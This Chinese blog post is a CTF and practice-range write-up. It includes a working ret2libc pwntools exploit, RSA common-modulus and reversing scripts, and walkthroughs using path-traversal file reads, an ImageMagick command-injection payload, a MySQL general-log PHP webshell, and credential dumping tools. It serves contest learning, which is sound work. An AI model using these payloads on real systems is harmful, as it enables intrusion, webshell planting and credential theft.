CTF

PlainR2B-PWN

很明显的栈溢出,第一次溢出打印write函数的地址,然后从和libc中的地址寻找偏移,最后利用system函数和libc中的/bin/sh,getshell后运行服务器上的getflag程序随意输入一些东西,进行多轮后会输出flag

贴脚本:

from pwn import *

r = remote(‘117.50.60.184’, 12345)

lib = ELF(‘./libc-2.23.so’)

elf = ELF(‘./pwn’)

writegot = elf.got[“write”]

writeplt = elf.plt[“write”]

func = elf.symbols[“game”]

writelibc = lib.symbols[“write”]

syslibc = lib.symbols[“system”]

bin_addr = lib.search(‘/bin/sh’).next()

payload = ‘a’ * (0x1c + 4) + p32(writeplt) + p32(func) + \

p32(1) + p32(writegot) + p32(4)

r.recvuntil(“name?”)

r.sendline(“nana”)

r.recvuntil(“flag”)

r.sendline(payload)

ta = r.recv()

t = r.recv()

print ta,t

writeaddr = u32(t[0:4])

sysaddr = writeaddr – writelibc + syslibc

binaddr = writeaddr – writelibc + bin_addr

payload1 = ‘a’ * (0x1c + 4) + p32(sysaddr) + p32(func) + p32(binaddr)

r.sendline(payload1)

r.interactive()

 

Antidbg-RE

分析程序逻辑定位关键函数,逆向程序发现是一个验证16进制的程序,提取变量进行正向解密

low4 =[0x06, 0x0C, 0x01, 0x07, 0x0B, 0x00, 0x06, 0x02, 0x01, 0x06,

0x01, 0x07, 0x02, 0x0D, 0x05, 0x01,0x03, 0x03, 0x0D, 0x04, 0x03, 0x01, 0x00, 0x0D, 0x08, 0x08,

0x01, 0x02, 0x0D, 0x07, 0x00, 0x01, 0x02, 0x06, 0x08, 0x02,0x09, 0x00, 0x05, 0x02,0x02,0x0d]

offset = [ 0x02, 0x02, 0x02, 0x02, 0x03, 0x01, 0x01, 0x02, 0x01, 0x01,

0x02, 0x01, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x00, 0x01,

0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x00, 0x01,

0x01, 0x02, 0x02, 0x01, 0x01, 0x01, 0x01, 0x01, 0x02, 0x01,

0x01, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00]

print len(offset),len(low4)

a = [2,3,6,7]

flag= “”

for i in range(len(low4)):

       flag += chr(a[offset[i]]<<4 | low4[i])

print flag

 

sqli-WEB

明显要注入了,随手测试注册’admin+空格’用户名,登陆拿flag。

word-MISC

公众号拿一半flag,在字体这里拿到另外一半。

rsa-CRYPTO

用python脚本提取n和e,这里可以参考我之前的文章《关于rsa的openssl命令一些随笔。》,发现n一样e不一样。明显的共模攻击。网上找个脚本改改加个base64解码跑一下拿flag。

提取脚本:

from Crypto.PublicKey import RSA

with open(‘./pubkey2.pem’, ‘r’) as f:

     key = RSA.importKey(f)

     n = key.n

     e = key.e

print n

print e

 

跑明文脚本:

import gmpy2

import string

from Crypto.Util.number import long_to_bytes

from base64 import *

n = 0x8989a398988456b3fef4a6ad86df3c99577f8978048de5436befc30d8d8c94958912aa526ff333b66857306ebb8de36c2c396a84efdc5d382502daa1a3f3b6e97502d2e31c849330f5b4c95257a149a97f5954eaf89341147adcdd4e950fff74e30bbe622876b42eeac86df4ad9715d05b5604aa8179424c7d9ac46bd6b5f322b2b5728ba148704a25a8efcc1e7c84ea7e5ce3e01703f04f94a431d9954bd7ae2c7dd6e879b35f8a2d4a5efbe737257bf99bd9ee66b15aff233fc77b558a487da5952fbe2b923da9c5eb46788c050336b7e36a5ed82d5c1b2aeb0e45bee405cbe72481db2568aa829eeac87d201a5a8ff5ee6f0be38192ab2839635f6c664217L

e1 = 2333

e2 = 23333

 

with open(‘flag1.enc’, ‘r’) as f:

     cipher1 = f.read()

     cipher1=b64decode(cipher1).encode(‘hex’)

     cipher1 = string.atoi(cipher1, base=16)

with open(‘flag2.enc’, ‘r’) as f:

     cipher2 = f.read()

     cipher2=b64decode(cipher2).encode(‘hex’)

     cipher2 = string.atoi(cipher2, base=16)

# s & t

gcd, s, t = gmpy2.gcdext(e1, e2)

if s < 0:

     s = -s

     cipher1 = gmpy2.invert(cipher1, n)

if t < 0:

     t = -t

     cipher2 = gmpy2.invert(cipher2, n)

plain = gmpy2.powmod(cipher1, s, n) * gmpy2.powmod(cipher2, t, n) % n

print long_to_bytes(plain)

 

 

靶场

 

这次靶场打的蛮爽的,五个靶场通关了四个,就是时间有点不够,还是太菜了,抛砖引玉看都没看。

暗渡陈仓

虚实相接,需要出题者以声东击西的招式准备的歧路,找到正确的栈道。

1.提交上传点的地址的name(例如答:/xxxxx/)

2.提交系统管理员Hack用户的全名

3.超级管理员用户桌面根目录admin.txt文件的内容

 

打开靶场,右键查看源代码发现图片路径是u-Are-Admin 随机访问该目录,发现是一个上传绕过。用PHP可绕过,然后路径不知道,用任意读取downloadfile.php?file=读download.php发现路径是u-uploads-file,然后getshell。

蚁剑连上之后执行命令:net user查看到Hack用户名

然后在超级用户的桌面根目录找到admin.txt

瞒天过海

目的不是为了瞒天,只是做出题目的一种手段。

1.提交后台管理员密码

2.提交mysql密码

3.提交C盘根目录password.txt内容

 

主页面发现注入点,即可拿到后台登陆密码和mysql密码,somd5解一下就ok了。

进入后台之后有上传和任意读取,上传会自动加.jpg,绕了好久,结果发现有任意读取。直接读根目录password.txt

/classes/downloadfile.php?file=../../../../../../../../../../../password.txt

 

偷梁换柱

赛题是那样无情残忍,无义无理取闹,稍有踟蹰,他就偷梁换柱。

1.提交后台admin用户的密码

2.提交系统管理员ichunqiu用户的全名

3.提交/tmp/access.log的内容的前16位

一开始啥思路都没有,发现一个110.php还有hacker.jpg。后来扫波源码泄露才发现有.git泄露,githack打一发。发现数据库文件,拿到密码。登入后台。发现有上传功能,自动加.png后缀,绕不过。开始审计,发现picture.php有命令执行。

使用了/usr/local/bin/convert,随即想到CVE-2016–3714,找到poc看懂原理,改改就能getshell。

参考链接:https://github.com/Medicean/VulApps/blob/master/i/imagemagick/1/poc.py

我的payload:

push graphic-context

viewbox 0 0 640 480

fill ‘url(https://example.com/1.jpg”|ls > /var/www/html/1.txt”)’

pop graphic-context

即可任意命令执行。然后users拿到用户名并查看文件cat /tmp/access.log

反客为主

以静谋动,反客为主,掌握真正的大权,才能不任人摆布。

1.提交phpStudy目录下Documents.txt的内容

2.提交系统用户/ichunqiu的密码

3.提交ichunqiu用户Desktop根目录password.txt的内容

 

进去之后发现有任意读取info/include.php?filename=../../../../../../../../../../windows/win.ini

但是好像没有什么laun用,扫目录发现phpmyadmin服务,用弱口令root/root登进去,然后genernal log getshell。

参考链接:http://www.am0s.com/penetration/267.html

我的payload:

show variables like ‘%general%’;  #查看配置

set global general_log = on;  #开启general log模式

set global general_log_file = ‘C:/phpStudy/WWW/1.php’;   #设置日志目录为shell地址

select ‘<?php eval($_POST[cmd]);?>’;  #写入shell

getshell之后想用mimikatz跑一发密码,结果gg了,不知道怎么回事,也不能外连msf,弹不出shell。直接读取password.txt,最后使用QuarksPwDump跑出了HASH,cmd5解密得到密码。

最后就是今天的经历吧。确实学到很多。也真的打的满爽的,可惜不知道能不能去决赛。


11 条评论

tinmin · 2018年8月26日 下午9:41

ORZ

lego · 2018年8月27日 上午7:36

tql

ggdl · 2018年8月27日 下午1:43

歌少果然优秀。

lyc · 2018年8月27日 下午9:07

学弟的网站做的不错。。已收藏。。学习。。

Johne829 · 2019年3月9日 上午10:50

Thanks for the article, is there any way I can receive an email whenever you publish a new update? dgddgedkcbfg

Smithe908 · 2019年3月9日 上午10:50

I am truly thankful to the holder of this website who has shared this fantastic article at here. bdafcgaeedkkdabd

Smithe688 · 2019年3月9日 上午10:51

When I originally commented I clicked the Notify me when new comments are added checkbox and now every time a comment is added I get 4 emails using the same comment. Is there any way you may take away me from that service? Thanks! fbedaefaeccbcbaa

Johnc364 · 2019年3月9日 上午10:52

I will immediately clutch your rss feed as I can not to find your email subscription link or enewsletter service. Do you have any? Please let me know in order that I may just subscribe. Thanks. geceecegdebe

Smithe748 · 2019年3月9日 上午10:52

You must indulge in a contest for among the greatest blogs over the internet. Ill suggest this web website! kdebdbaddcgfgbka

Johnf47 · 2019年3月10日 下午3:47

I really like your writing style, fantastic information, thanks for putting up ddcfdcegdkdb

Smithd307 · 2019年3月10日 下午3:48

I do accept as true with all of the concepts you have offered in your post. They’re really convincing and will definitely work. Still, the posts are very brief for beginners. May you please extend them a little from next time? Thanks for the post. kaakfdbcdkagabcd

发表评论

电子邮件地址不会被公开。 必填项已用*标注